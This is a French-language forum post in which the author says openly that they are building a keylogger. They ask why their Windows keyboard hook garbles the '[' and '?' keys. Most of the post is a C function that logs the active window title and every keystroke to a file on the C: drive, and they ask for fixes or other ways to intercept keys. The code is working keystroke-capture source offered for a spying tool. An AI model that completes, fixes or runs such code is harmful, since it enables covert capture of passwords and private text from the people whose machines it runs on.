Yop,
Bon dernière question de la journée :p enfin j'espère. Et la je sèche vraiment.
En claire, je fait un keylogger, pour se faire un hook clavier s'impose. Bon il fonction a merveil sauve pour UNE touche :s c'est celle juste à côté du P . En faite lorsque le hook est activer et que je veu taper le caractère [ et bien juste après celui-ci vient se mettre le caratère ^. En claire lorsque je tape [ j'obtient [^ , et ? ne fonctionne plus non plus. Et la je voi pas du tout de ou cela peut venir. Voici ma fonction pour l'interception des touche :
void InterceptKey(int code,WPARAM wParam,LPARAM lParam){
char szCurrentWindow[MAX_PATH];
FILE * log_file;
log_file = fopen("c:\\KbF.log","a+");
GetWindowText(GetActiveWindow(),szCurrentWindow,MAX_PATH-1);
if(strcmp(szLastWindow,szCurrentWindow)){
fprintf(log_file,"\n\n-- new window\n");
strcpy(szLastWindow,szCurrentWindow);
fprintf(log_file,szCurrentWindow);
fprintf(log_file,"\n-- keys \n");
}
switch(wParam){
case VK_RETURN:
fprintf(log_file,"\n");
break;
case VK_CONTROL:
fprintf(log_file,"[CTRL]");
break;
case VK_MENU:
fprintf(log_file,"[ALT]");
break;
case VK_DELETE:
fprintf(log_file,"[DEL]");
break;
case VK_BACK:
fprintf(log_file,"[<==]");
break;
case VK_TAB:
fprintf(log_file,"[TAB]");
break;
case VK_SHIFT:
fclose(log_file);
return;
break;
default:{
BYTE byKeyBState[256];
GetKeyboardState(byKeyBState);
WORD wChar; /* Varaible qui va recevoir le code Ascii de la touche. */
UINT uiScanCode = 0;
ToAscii(wParam,uiScanCode,byKeyBState,&wChar,0);
fprintf(log_file,"%c",(char)wChar);
}
break;
}
fclose(log_file);
}
J'espère vraiment que quelqu'un peut m'aider ou me donner une autre solution pour intercepter les touches.
Merci d'avance.